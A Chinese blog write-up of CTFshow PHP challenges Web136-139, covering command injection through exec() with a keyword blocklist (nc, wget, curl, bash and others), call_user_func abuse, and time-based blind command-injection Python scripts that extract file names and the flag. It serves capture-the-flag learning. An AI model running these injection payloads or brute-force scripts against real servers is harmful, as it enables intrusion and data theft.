【CTFshow php特性 Web136-139】2021.9.1 CTFshow刷题

本文最后更新于:2021年9月1日下午3点51分

Web136

BY yu22x

打开题目:

image-20210901132555740

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

没有限制写文件,所以利用Linux下的tee命令

image-20210901133535170

flag是在根目录下,并且过滤了.符号,所以不能保存为txt,payload如下:

1
?c=ls /| tee 1

image-20210901133845340

1
?c=tac /f149_15_h3r3| tee 1

官方Hint:

payload: ls /|tee 1

访问1下载发现根目录下有flag

payload: cat /f149_15_h3r3|tee 2 访问下载就OK

Web137

没有难度

打开题目:

image-20210901134054356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

这一题需要调用静态类,在php中->::调用类中的成员的区别

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

因此payload为:

1
POSTDATA: ctfshow=ctfshow::getFlag

官方Hint:

考察: call_user_func()函数的使用

https://www.php.net/manual/zh/function.call-user-func.php

payload: POST: ctfshow=ctfshow::getFlag

Web138

一丢丢难度

打开题目:

image-20210901134645874

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

这一题相比上一题多过滤了冒号,意味着无法使用::调用静态方法。

但是call_user_func()函数中的参数不仅仅可以是字符串形式,还可以是数组形式:

根据方法名调用call_user_func()详解_PHP-老纪的博客 (wodecun.com)

1
2
3
4
5
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

array[0]=$classname 类名
array[1]=say_hello say_hello()方法

所以payload为:

1
POSTDATA: ctfshow[0]=ctfshow&ctfshow[1]=getFlag

官方Hint:

1
2
payload:
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag

Web139

BY YU22X 没变化吗?

打开题目:

image-20210901135455322

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

相比web136,多过滤了><,无法写文件,但是用web136的payload也无法写入,应该是没有写权限了。

因此利用延时爆破,payload如下:

1
?c=if [ `ls /|awk 'NR==1'|cut -c 1` == b ];then sleep 3;fi

其中awk命令用法如下:

image-20210901152617549

其中cut命令用法如下:

image-20210901152735481

将两种命令结合即可截取指定行数和列数的符号,再利用sleep和requests的timeout特性,写脚本

注意:payload有几个注意点!

  • [ ]表示条件测试。注意这里的空格很重要。要注意在’[‘后面和’]’前面都必须要有空格
  • 在shell中,then和fi是分开的语句。如果要在同一行里面输入,则需要用分号将他们隔开
  • 记得用fi结束语句

因此爆破根目录文件名脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

dic = string.digits+string.ascii_letters+"_"
ans = ""

for i in range(1,15):
is_find = 0
for j in range(1,15):
if is_find == 1:
break
for n in dic:
payload = "if [ `ls /|awk 'NR=={}'|cut -c {}` == {} ];then sleep 3;fi".format(str(i),str(j),n)
#print(payload)
try:
res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break
ans += " "

得到结果如下:

image-20210901153111064

flag在f149_15_h3r3中,获取flag脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string

dic = string.digits+string.ascii_letters+"_"
ans = ""

for j in range(1,50):
for n in dic:
payload = "if [ `cat /f149_15_h3r3 |cut -c {}` == {} ];then sleep 3;fi".format(str(j),n)
#print(payload)
try:
res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break

image-20210901154554343

1
2
ctfshow21123673974d44eb9f785c3087018201
ctfshow{21123673-974d-44eb-9f78-5c3087018201}

官方Hint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
import string

str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];thensleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import string

str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep3;fi".format(j,n)
#print(payload)
url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break